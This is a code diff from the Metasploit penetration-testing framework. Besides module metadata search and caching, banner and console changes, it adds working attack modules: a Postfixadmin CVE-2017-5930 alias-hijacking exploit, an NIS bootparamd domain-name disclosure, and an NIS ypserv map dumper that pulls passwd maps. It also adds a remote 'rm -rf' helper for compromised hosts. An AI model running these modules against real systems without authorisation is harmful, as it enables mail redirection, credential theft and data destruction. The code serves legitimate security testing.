@targets = module_instance.targets.map{|x| x.name}
end
end
def update_mod_time(mod_time)
@mod_time = mod_time
end
def path
if @is_install_path
return ::File.join(Msf::Config.install_root, @path)
end
@path
end
end
end
end
end

View File

@ -0,0 +1,120 @@
require 'msf/core/modules/metadata'
#
# Provides search operations on the module metadata cache.
#
module Msf::Modules::Metadata::Search
#
# Searches the module metadata using the passed search string.
#
def find(search_string)
search_results = []
get_metadata.each { |module_metadata|
if is_match(search_string, module_metadata)
search_results << module_metadata
end
}
return search_results
end
#######
private
#######
def is_match(search_string, module_metadata)
return false if not search_string
search_string += ' '
# Split search terms by space, but allow quoted strings
terms = search_string.split(/\"/).collect{|t| t.strip==t ? t : t.split(' ')}.flatten
terms.delete('')
# All terms are either included or excluded
res = {}
terms.each do |t|
f,v = t.split(":", 2)
if not v
v = f
f = 'text'
end
next if v.length == 0
f.downcase!
v.downcase!
res[f] ||=[ [], [] ]
if v[0,1] == "-"
next if v.length == 1
res[f][1] << v[1,v.length-1]
else
res[f][0] << v
end
end
k = res
[0,1].each do |mode|
match = false
k.keys.each do |t|
next if k[t][mode].length == 0
k[t][mode].each do |w|
# Reset the match flag for each keyword for inclusive search
match = false if mode == 0
# Convert into a case-insensitive regex
r = Regexp.new(Regexp.escape(w), true)
case t
when 'text'
terms = [module_metadata.name, module_metadata.full_name, module_metadata.description] + module_metadata.references + module_metadata.author
if module_metadata.targets
terms = terms + module_metadata.targets
end
match = [t,w] if terms.any? { |x| x =~ r }
when 'name'
match = [t,w] if module_metadata.name =~ r
when 'path'
match = [t,w] if module_metadata.full_name =~ r
when 'author'
match = [t,w] if module_metadata.author.any? { |a| a =~ r }
when 'os', 'platform'
match = [t,w] if module_metadata.platform =~ r or module_metadata.arch =~ r
if module_metadata.targets
match = [t,w] if module_metadata.targets.any? { |t| t =~ r }
end
when 'port'
match = [t,w] if module_metadata.rport =~ r
when 'type'
match = [t,w] if Msf::MODULE_TYPES.any? { |modt| w == modt and module_metadata.type == modt }
when 'app'
match = [t,w] if (w == "server" and module_metadata.is_server)
match = [t,w] if (w == "client" and module_metadata.is_client)
when 'cve'
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^cve\-/i and ref =~ r }
when 'bid'
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^bid\-/i and ref =~ r }
when 'edb'
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^edb\-/i and ref =~ r }
end
break if match
end
# Filter this module if no matches for a given keyword type
if mode == 0 and not match
return false
end
end
# Filter this module if we matched an exclusion keyword (-value)
if mode == 1 and match
return false
end
end
true
end
end

View File

@ -0,0 +1,112 @@
require 'pstore'
require 'msf/core/modules/metadata'
#
# Handles storage of module metadata on disk. A base metadata file is always included - this was added to ensure a much
# better first time user experience as generating the user based metadata file requires 100+ mb at the time of creating
# this module. Subsequent starts of metasploit will load from a user specific metadata file as users potentially load modules
# from other places.
#
module Msf::Modules::Metadata::Store
BaseMetaDataFile = 'modules_metadata_base.pstore'
UserMetaDataFile = 'modules_metadata.pstore'
#
# Initializes from user store (under ~/store/.msf4) if it exists. else base file (under $INSTALL_ROOT/db) is copied and loaded.
#
def init_store
load_metadata
end
#
# Update the module meta cache disk store
#
def update_store
begin
@store.transaction do
@store[:module_metadata] = @module_metadata_cache
end
rescue Excepion => e
elog("Unable to update metadata store: #{e.message}")
end
end
#######
private
#######
def load_metadata
begin
retries ||= 0
copied = configure_user_store
@store = PStore.new(@path_to_user_metadata, true)
@module_metadata_cache = @store.transaction(true) { @store[:module_metadata]}
validate_data(copied) if (!@module_metadata_cache.nil? && @module_metadata_cache.size > 0)
@module_metadata_cache = {} if @module_metadata_cache.nil?
rescue Exception => e
retries +=1
# Try to handle the scenario where the file is corrupted
if (retries < 2 && ::File.exist?(@path_to_user_metadata))
elog('Possible corrupt user metadata store, attempting restore')
FileUtils.remove(@path_to_user_metadata)
retry
else
@console.print_warning('Unable to load module metadata from disk see error log')
elog("Unable to load module metadata: #{e.message}")
end
end
end
def validate_data(copied)
size_prior = @module_metadata_cache.size
@module_metadata_cache.delete_if {|key, module_metadata| !::File.exist?(module_metadata.path)}
if (copied)
@module_metadata_cache.each_value {|module_metadata|
module_metadata.update_mod_time(::File.mtime(module_metadata.path))
}
end
update_store if (size_prior != @module_metadata_cache.size || copied)
end
def configure_user_store
copied = false
@path_to_user_metadata = get_user_store
path_to_base_metadata = ::File.join(Msf::Config.install_root, "db", BaseMetaDataFile)
user_file_exists = ::File.exist?(@path_to_user_metadata)
base_file_exists = ::File.exist?(path_to_base_metadata)
if (!base_file_exists)
wlog("Missing base module metadata file: #{path_to_base_metadata}")
return copied if !user_file_exists
end
if (!user_file_exists)
FileUtils.cp(path_to_base_metadata, @path_to_user_metadata)
copied = true
dlog('Created user based module store')
# Update the user based module store if an updated base file is created/pushed
elsif (::File.mtime(path_to_base_metadata).to_i > ::File.mtime(@path_to_user_metadata).to_i)
FileUtils.remove(@path_to_user_metadata)
FileUtils.cp(path_to_base_metadata, @path_to_user_metadata)
copied = true
dlog('Updated user based module store')
end
return copied
end
def get_user_store
store_dir = ::File.join(Msf::Config.config_directory, "store")
FileUtils.mkdir(store_dir) if !::File.exist?(store_dir)
return ::File.join(store_dir, UserMetaDataFile)
end
end

View File

@ -132,9 +132,9 @@ module Payload::Python::MeterpreterLoader
unless opts[:stageless_tcp_socket_setup].nil?
socket_setup = opts[:stageless_tcp_socket_setup]
socket_setup = socket_setup.split("\n")
socket_setup.map! {|line| "\t\t#{line}\n"}
socket_setup.map! {|line| " #{line}\n"}
socket_setup = socket_setup.join
met.sub!("\t\t# PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
met.sub!(" # PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
end
met

View File

@ -348,7 +348,28 @@ module Msf::Post::File
end
end
#
# Delete remote directories
#
# @param remote_dirs [Array<String>] List of remote directories to
# delete
# @return [void]
def rm_rf(*remote_dirs)
remote_dirs.each do |remote|
if session.type == "meterpreter"
session.fs.dir.rmdir(remote) if exist?(remote)
else
if session.platform == 'windows'
cmd_exec("rd /s /q \"#{remote}\"")
else
cmd_exec("rm -rf \"#{remote}\"")
end
end
end
end
alias :file_rm :rm_f
alias :dir_rm :rm_rf
#
# Rename a remote file.

View File

@ -233,22 +233,17 @@ class Core
avdwarn = nil
banner_trailers = {
:version => "%yelmetasploit v#{Metasploit::Framework::VERSION}%clr",
:exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post",
:pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops",
:free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp",
:padding => 48
}
stats = framework.stats
version = "%yelmetasploit v#{Metasploit::Framework::VERSION}%clr",
exp_aux_pos = "#{stats.num_exploits} exploits - #{stats.num_auxiliary} auxiliary - #{stats.num_post} post",
pay_enc_nop = "#{stats.num_payloads} payloads - #{stats.num_encoders} encoders - #{stats.num_nops} nops",
dev_note = "** This is Metasploit 5 development branch **"
padding = 48
banner << (" =[ %-#{banner_trailers[:padding]+8}s]\n" % banner_trailers[:version])
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:exp_aux_pos])
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:pay_enc_nop])
# TODO: People who are already on a Pro install shouldn't see this.
# It's hard for Framework to tell the difference though since
# license details are only in Pro -- we can't see them from here.
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:free_trial])
banner << (" =[ %-#{padding+8}s]\n" % version)
banner << ("+ -- --=[ %-#{padding}s]\n" % exp_aux_pos)
banner << ("+ -- --=[ %-#{padding}s]\n" % pay_enc_nop)
banner << ("+ -- --=[ %-#{padding}s]\n" % dev_note)
if ::Msf::Framework::EICARCorrupted
avdwarn = []

View File

@ -424,16 +424,7 @@ class Creds
public_val = core.public ? core.public.username : ""
private_val = core.private ? core.private.data : ""
realm_val = core.realm ? core.realm.value : ""
human_val = ""
# TODO: We shouldn't have separate code paths depending on the model we're working with
# This should always expect an OpenStruct.
if core.private
if core.private.is_a?(OpenStruct)
human_val = core.human
else
human_val = core.private.class.model_name.human
end
end
human_val = core.private ? core.private.class.model_name.human : ""
tbl << [
"", # host
@ -442,7 +433,7 @@ class Creds
public_val,
private_val,
realm_val,
human_val,
human_val
]
else
core.logins.each do |login|
@ -466,22 +457,13 @@ class Creds
public_val = core.public ? core.public.username : ""
private_val = core.private ? core.private.data : ""
realm_val = core.realm ? core.realm.value : ""
human_val = ""
# TODO: We shouldn't have separate code paths depending on the model we're working with
# This should always expect an OpenStruct.
if core.private
if core.private.is_a?(OpenStruct)
human_val = core.human
else
human_val = core.private.class.model_name.human
end
end
human_val = core.private ? core.private.class.model_name.human : ""
row += [
public_val,
private_val,
realm_val,
human_val,
human_val
]
tbl << row
end

View File

@ -680,7 +680,7 @@ module Msf
if mode == [:delete]
result = framework.db.delete_host(workspace: framework.db.workspace, addresses: host_search)
delete_count += result[:deleted].size
delete_count += result.size
end
end

View File

@ -418,12 +418,12 @@ module Msf
# Display the table of matches
tbl = generate_module_table("Matching Modules", search_term)
framework.search(match, logger: self).each do |m|
Msf::Modules::Metadata::Cache.instance.find(match).each do |m|
tbl << [
m.fullname,
m.disclosure_date.nil? ? "" : m.disclosure_date.strftime("%Y-%m-%d"),
RankingName[m.rank].to_s,
m.name
m.full_name,
m.disclosure_date.nil? ? '' : m.disclosure_date.strftime("%Y-%m-%d"),
RankingName[m.rank].to_s,
m.name
]
end
print_line(tbl.to_s)

View File

@ -23,7 +23,7 @@ class Driver < Msf::Ui::Driver
ConfigCore = "framework/core"
ConfigGroup = "framework/ui/console"
DefaultPrompt = "%undmsf%clr"
DefaultPrompt = "%undmsf5%clr"
DefaultPromptChar = "%clr>"
#

View File

@ -78,7 +78,7 @@ module Msf
File.open(path, 'rb') { |f| template = f.read }
return template
}.call
md_to_html(ERB.new(@md_template).result(binding()), kb.gsub(/</, '&#x3c;'))
md_to_html(ERB.new(@md_template).result(binding()), kb)
end
@ -104,14 +104,18 @@ module Msf
# @param kb [String] Additional information to add.
# @return [String] HTML document.
def md_to_html(md, kb)
opts = {
extensions = {
escape_html: true
}
render_options = {
fenced_code_blocks: true,
no_intra_emphasis: true,
escape_html: true,
tables: true
}
r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, opts)
html_renderer = Redcarpet::Render::MsfMdHTML.new(extensions)
r = Redcarpet::Markdown.new(html_renderer, render_options)
ERB.new(@html_template ||= lambda {
html_template = ''
path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', HTML_TEMPLATE))

View File

@ -215,11 +215,30 @@ class Client
def negotiate_ard_auth(username = nil, password = nil)
generator = @sock.get_once(2)
if not generator or generator.length != 2
@error = "Unable to obtain ARD challenge: invalid generator value"
return false
end
generator = generator.unpack("n").first
key_length = @sock.get_once(2)
if not key_length or key_length.length != 2
@error = "Unable to obtain ARD challenge: invalid key length"
return false
end
key_length = key_length.unpack("n").first
prime_modulus = @sock.get_once(key_length)
if not prime_modulus or prime_modulus.length != key_length
@error = "Unable to obtain ARD challenge: invalid prime modulus"
return false
end
peer_public_key = @sock.get_once(key_length)
if not peer_public_key or peer_public_key.length != key_length
@error = "Unable to obtain ARD challenge: invalid public key"
return false
end
response = Cipher.encrypt_ard(username, password, generator, key_length, prime_modulus, peer_public_key)
@sock.put(response)

View File

@ -179,7 +179,8 @@ class Client
buf = nil
begin
Timeout.timeout(maxwait) { buf = sock.get }
rescue ::Timeout
rescue Timeout::Error
raise RPCTimeout
end
return nil if not buf

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.3.23'
spec.add_runtime_dependency 'metasploit-payloads', '1.3.25'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.3'
# Needed by msfgui and other rpc components
@ -187,4 +187,6 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'nexpose'
# Needed for NDMP sockets
spec.add_runtime_dependency 'xdr'
# Needed for ::Msf...CertProvider
spec.add_runtime_dependency 'faker'
end

View File

@ -0,0 +1,182 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(
info,
'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',
'Description' => %q{
Postfixadmin installations between 2.91 and 3.0.1 do not check if an
admin is allowed to delete protected aliases. This vulnerability can be
used to redirect protected aliases to an other mail address. Eg. rewrite
the postmaster@domain alias
},
'Author' => [ 'Jan-Frederik Rieckers' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-5930'],
['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],
['BID', '96142'],
],
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Postfixadmin v2.91 - v3.0.1', {}]],
'DisclosureDate' => 'Feb 03 2017',
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']),
OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']),
OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),
OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),
OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])
])
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def target_alias
datastore['TARGET_ALIAS']
end
def new_goto
datastore['NEW_GOTO']
end
def check
res = send_request_cgi({'uri' => postfixadmin_url_login, 'method' => 'GET'})
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Safe if res.code != 200
if res.body =~ /<div id="footer".*Postfix Admin/m
version = res.body.match(/<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)<\//mi)
return Exploit::CheckCode::Detected unless version
if Gem::Version.new("2.91") > Gem::Version.new(version[1])
return Exploit::CheckCode::Detected
elsif Gem::Version.new("3.0.1") < Gem::Version.new(version[1])
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Unknown
end
def run
print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")
cookie = postfixadmin_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil?
print_good('Authenticated with Postfixadmin')
vprint_status('Requesting virtual_list')
res = send_request_cgi({'uri' => postfixadmin_url_list(target_alias.split("@")[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?
fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
body = res.body
vprint_status('Get token')
token = body.match(/token=([0-9a-f]{32})/)
fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token
t = token[1]
print_status('Delete the old alias')
res = send_request_cgi({'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
if res.nil? || res.body.nil?
fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
else
if res.body =~ /<ul class="flash-error">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
else
fail_with(Failure::Unknown, 'An unexpected failure occured.')
end
end
end
print_good('Deleted the old alias')
vprint_status('Will create the new alias')
post_vars = {'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split("@")[-1], 'value[localpart]' => target_alias.split("@")[0..-2].join("@"), 'value[goto]' => new_goto}
res = send_request_cgi({'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
if res.nil? || res.body.nil?
fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
else
if res.body =~ /<ul class="flash-error">/mi
fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
else
fail_with(Failure::Unknown, 'An unexpected failure occured.')
end
end
end
print_good('New alias created')
end
# Performs a Postfixadmin login
#
# @param user [String] Username
# @param pass [String] Password
# @param timeout [Integer] Max seconds to wait before timeout, defaults to 20
#
# @return [String, nil] The session cookie as single string if login was successful, nil otherwise
def postfixadmin_login(user, pass, timeout = 20)
res = send_request_cgi({
'method' => 'POST',
'uri' => postfixadmin_url_login,
'vars_post' => {'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login'}
}, timeout)
if res && res.redirect?
cookies = res.get_cookies
return cookies if
cookies =~ /PHPSESSID=/
end
nil
end
def postfixadmin_url_login
normalize_uri(target_uri.path, 'login.php')
end
def postfixadmin_url_list(domain=nil)
modifier = domain.nil? ? "" : "?domain=#{domain}"
normalize_uri(target_uri.path, 'list-virtual.php' + modifier)
end
def postfixadmin_url_alias_delete(target, token)
normalize_uri(target_uri.path, 'delete.php' + "?table=alias&delete=#{CGI.escape(target)}&token=#{token}")
end
def postfixadmin_url_edit
normalize_uri(target_uri.path, 'edit.php')
end
end

View File

@ -0,0 +1,148 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SunRPC
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'NIS bootparamd Domain Name Disclosure',
'Description' => %q{
This module discloses the NIS domain name from bootparamd.
You must know a client address from the target's bootparams file.
Hint: try hosts within the same network range as the target.
},
'Author' => [
'SATAN', # boot.c
'pentestmonkey', # Blog post
'wvu' # Metasploit module
],
'References' => [
['URL', 'https://tools.ietf.org/html/rfc1831'],
['URL', 'https://tools.ietf.org/html/rfc4506'],
['URL', 'http://pentestmonkey.net/blog/nis-domain-name']
],
'License' => MSF_LICENSE
))
register_options([
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'udp', %w{tcp udp}]),
OptAddress.new('CLIENT', [true, "Client from target's bootparams file"])
])
register_advanced_options([
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
])
end
def run
proto = datastore['PROTOCOL']
client = datastore['CLIENT']
begin
sunrpc_create(
proto, # Protocol: UDP (17)
100026, # Program: BOOTPARAMS (100026)
1 # Program Version: 1
)
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::Unreachable, 'Could not connect to bootparamd')
end
# Flavor: AUTH_NULL (0)
sunrpc_authnull
# Convert ASCII to network byte order to four unsigned chars :(
client_addr = Rex::Socket.addr_aton(client).unpack('C4')
bootparam_whoami = Rex::Encoder::XDR.encode(
1, # Address Type: IPv4-ADDR (1)
*client_addr # Client Address: [redacted]
)
begin
res = sunrpc_call(
1, # Procedure: WHOAMI (1)
bootparam_whoami # Boot Parameters
)
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::NotFound, 'Could not call bootparamd procedure')
rescue Rex::Proto::SunRPC::RPCTimeout
fail_with(Failure::NotVulnerable,
'Could not disclose NIS domain name (try another CLIENT?)')
ensure
# Shut it down! Shut it down forever!
sunrpc_destroy
end
unless res
fail_with(Failure::Unknown, 'No response from server')
end
bootparams = begin
Timeout.timeout(datastore['XDRTimeout']) do
parse_bootparams(res)
end
rescue Timeout::Error
fail_with(Failure::TimeoutExpired,
'XDR decoding timed out (try increasing XDRTimeout?)')
end
if bootparams.blank?
fail_with(Failure::Unknown, 'Could not parse bootparams')
end
bootparams.each do |host, domain|
msg = "NIS domain name for host #{host} (#{client}) is #{domain}"
print_good(msg)
report_note(
host: rhost,
port: rport,
proto: proto,
type: 'nis.bootparamd.domain',
data: msg
)
end
end
def parse_bootparams(res)
bootparams = {}
loop do
begin
# XXX: res is modified in place
host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
res,
String, # Client Host: [redacted]
String, # Client Domain: [redacted]
Integer, # Address Type: IPv4-ADDR (1)
# One int per octet in an IPv4 address
Integer, # Router Address: [redacted]
Integer, # Router Address: [redacted]
Integer, # Router Address: [redacted]
Integer # Router Address: [redacted]
)
break unless host && domain
bootparams[host] = domain
rescue Rex::ArgumentError
vprint_status("Finished XDR decoding at #{res.inspect}")
break
end
end
bootparams
end
end

View File

@ -0,0 +1,165 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SunRPC
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'NIS ypserv Map Dumper',
'Description' => %q{
This module dumps the specified map from NIS ypserv.
The following examples are from ypcat -x:
Use "ethers" for map "ethers.byname"
Use "aliases" for map "mail.aliases"
Use "services" for map "services.byname"
Use "protocols" for map "protocols.bynumber"
Use "hosts" for map "hosts.byname"
Use "networks" for map "networks.byaddr"
Use "group" for map "group.byname"
Use "passwd" for map "passwd.byname"
You may specify a map by one of the nicknames above.
},
'Author' => 'wvu',
'References' => [
['URL', 'https://tools.ietf.org/html/rfc1831'],
['URL', 'https://tools.ietf.org/html/rfc4506']
],
'License' => MSF_LICENSE
))
register_options([
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'tcp', %w{tcp udp}]),
OptString.new('DOMAIN', [true, 'NIS domain']),
OptString.new('MAP', [true, 'NIS map to dump', 'passwd'])
])
register_advanced_options([
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
])
end
def run
proto = datastore['PROTOCOL']
domain = datastore['DOMAIN']
map_name = nick_to_map(datastore['MAP'])
begin
sunrpc_create(
proto, # Protocol: TCP (6)
100004, # Program: YPSERV (100004)
2 # Program Version: 2
)
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::Unreachable, 'Could not connect to ypserv')
end
# Flavor: AUTH_NULL (0)
sunrpc_authnull
# XXX: domain and map_name are modified in place
ypserv_all_call = Rex::Encoder::XDR.encode(
domain, # Domain: [redacted]
map_name # Map Name: passwd.byname
)
begin
res = sunrpc_call(
8, # Procedure: ALL (8)
ypserv_all_call # Yellow Pages Service ALL call
)
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::NotFound, 'Could not call ypserv procedure')
ensure
# Shut it down! Shut it down forever!
sunrpc_destroy
end
unless res && res.length > 8
fail_with(Failure::UnexpectedReply, 'Invalid response from server')
return
end
# XXX: Rex::Encoder::XDR doesn't do signed ints
case res[4, 4].unpack('l>').first
# Status: YP_NOMAP (-1)
when -1
fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
# Status: YP_NODOM (-2)
when -2
fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
end
map = begin
Timeout.timeout(datastore['XDRTimeout']) do
parse_map(res)
end
rescue Timeout::Error
fail_with(Failure::TimeoutExpired,
'XDR decoding timed out (try increasing XDRTimeout?)')
return
end
if map.blank?
fail_with(Failure::Unknown, "Could not parse map #{map_name}")
return
end
map_file = map.values.join("\n") + "\n"
print_good("Dumping map #{map_name} on domain #{domain}:\n#{map_file}")
# XXX: map_name contains null bytes if its length isn't a multiple of four
store_loot(map_name.strip, 'text/plain', rhost, map_file)
end
def parse_map(res)
map = {}
loop do
begin
# XXX: res is modified in place
_, status, value, key = Rex::Encoder::XDR.decode!(
res,
Integer, # More: Yes
Integer, # Status: YP_TRUE (1)
String, # Value: [redacted]
String # Key: [redacted]
)
break unless status == 1 && key && value
map[key] = value
rescue Rex::ArgumentError
vprint_status("Finished XDR decoding at #{res.inspect}")
break
end
end
map
end
# ypcat -x
def nick_to_map(nick)
{
'ethers' => 'ethers.byname',
'aliases' => 'mail.aliases',
'services' => 'services.byname',
'protocols' => 'protocols.bynumber',
'hosts' => 'hosts.byname',
'networks' => 'networks.byaddr',
'group' => 'group.byname',
'passwd' => 'passwd.byname'
}[nick] || nick
end
end

View File

@ -55,7 +55,7 @@ class MetasploitModule < Msf::Auxiliary
print_status("Looking for services on #{ip}:#{rport}...")
ids = dcerpc_mgmt_inq_if_ids(rport)
return if not ids
next if not ids
ids.each do |id|
if (not servs.has_key?(id[0]+'_'+id[1]))

View File

@ -1,535 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Module::Deprecated
deprecated(Date.new(2016, 11, 23), 'auxiliary/scanner/discovery/udp_sweep')
def initialize
super(
'Name' => 'UDP Service Prober',
'Description' => 'Detect common UDP services using sequential probes',
'Author' => 'hdm',
'License' => MSF_LICENSE
)
register_options(
[
Opt::CHOST,
])
register_advanced_options(
[
OptBool.new('RANDOMIZE_PORTS', [false, 'Randomize the order the ports are probed', true])
])
# Intialize the probes array
@probes = []
# Add the UDP probe method names
@probes << 'probe_pkt_dns'
@probes << 'probe_pkt_netbios'
@probes << 'probe_pkt_portmap'
@probes << 'probe_pkt_mssql'
@probes << 'probe_pkt_ntp'
@probes << 'probe_pkt_snmp1'
@probes << 'probe_pkt_snmp2'
@probes << 'probe_pkt_sentinel'
@probes << 'probe_pkt_db2disco'
@probes << 'probe_pkt_citrix'
@probes << 'probe_pkt_pca_st'
@probes << 'probe_pkt_pca_nq'
@probes << 'probe_chargen'
end
def setup
super
if datastore['RANDOMIZE_PORTS']
@probes = @probes.sort_by { rand }
end
end
# Fingerprint a single host
def run_host(ip)
@results = {}
@thost = ip
begin
udp_sock = nil
@probes.each do |probe|
# Send each probe to each host
begin
data, port = self.send(probe, ip)
@tport = port
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create( {
'LocalHost' => datastore['CHOST'] || nil,
'PeerHost' => ip, 'PeerPort' => port,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
})
udp_sock.put(data)
r = udp_sock.recvfrom(65535, 0.1) and r[1]
parse_reply(r) if r
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
nil
ensure
udp_sock.close if udp_sock
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{@thost}:#{@tport} #{e.class} #{e} #{e.backtrace}")
end
@results.each_key do |k|
next if not @results[k].respond_to?('keys')
data = @results[k]
next unless inside_workspace_boundary?(data[:host])
conf = {
:host => data[:host],
:port => data[:port],
:proto => 'udp',
:name => data[:app],
:info => data[:info]
}
if data[:hname]
conf[:host_name] = data[:hname].downcase
end
if data[:mac]
conf[:mac] = data[:mac].downcase
end
report_service(conf)
print_good("Discovered #{data[:app]} on #{k} (#{data[:info]})")
end
end
#
# The response parsers
#
def parse_reply(pkt)
# Ignore "empty" packets
return if not pkt[1]
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
app = 'unknown'
inf = ''
maddr = nil
hname = nil
hkey = "#{pkt[1]}:#{pkt[2]}"
# Work with protocols that return different data in different packets
# These are reported at the end of the scanning loop to build state
case pkt[2]
when 5632
@results[hkey] ||= {}
data = @results[hkey]
data[:app] = "pcAnywhere_stat"
data[:port] = pkt[2]
data[:host] = pkt[1]
case pkt[0]
when /^NR(........................)(........)/
name = $1.dup
caps = $2.dup
name = name.gsub(/_+$/, '').gsub("\x00", '').strip
caps = caps.gsub(/_+$/, '').gsub("\x00", '').strip
data[:name] = name
data[:caps] = caps
when /^ST(.+)/
buff = $1.dup
stat = 'Unknown'
if buff[2,1].unpack("C")[0] == 67
stat = "Available"
end
if buff[2,1].unpack("C")[0] == 11
stat = "Busy"
end
data[:stat] = stat
end
if data[:name]
inf << "Name: #{data[:name]} "
end
if data[:stat]
inf << "- #{data[:stat]} "
end
if data[:caps]
inf << "( #{data[:caps]} ) "
end
data[:info] = inf
end
# Ignore duplicates for the protocols below
return if @results[hkey]
case pkt[2]
when 19
app = 'chargen'
return unless chargen_parse(pkt[0])
@results[hkey] = true
when 53
app = 'DNS'
ver = nil
if (not ver and pkt[0] =~ /([6789]\.[\w\.\-_\:\(\)\[\]\/\=\+\|\{\}]+)/i)
ver = 'BIND ' + $1
end
ver = 'Microsoft DNS' if (not ver and pkt[0][2,4] == "\x81\x04\x00\x01")
ver = 'TinyDNS' if (not ver and pkt[0][2,4] == "\x81\x81\x00\x01")
ver = pkt[0].unpack('H*')[0] if not ver
inf = ver if ver
@results[hkey] = true
when 137
app = 'NetBIOS'
data = pkt[0]
head = data.slice!(0,12)
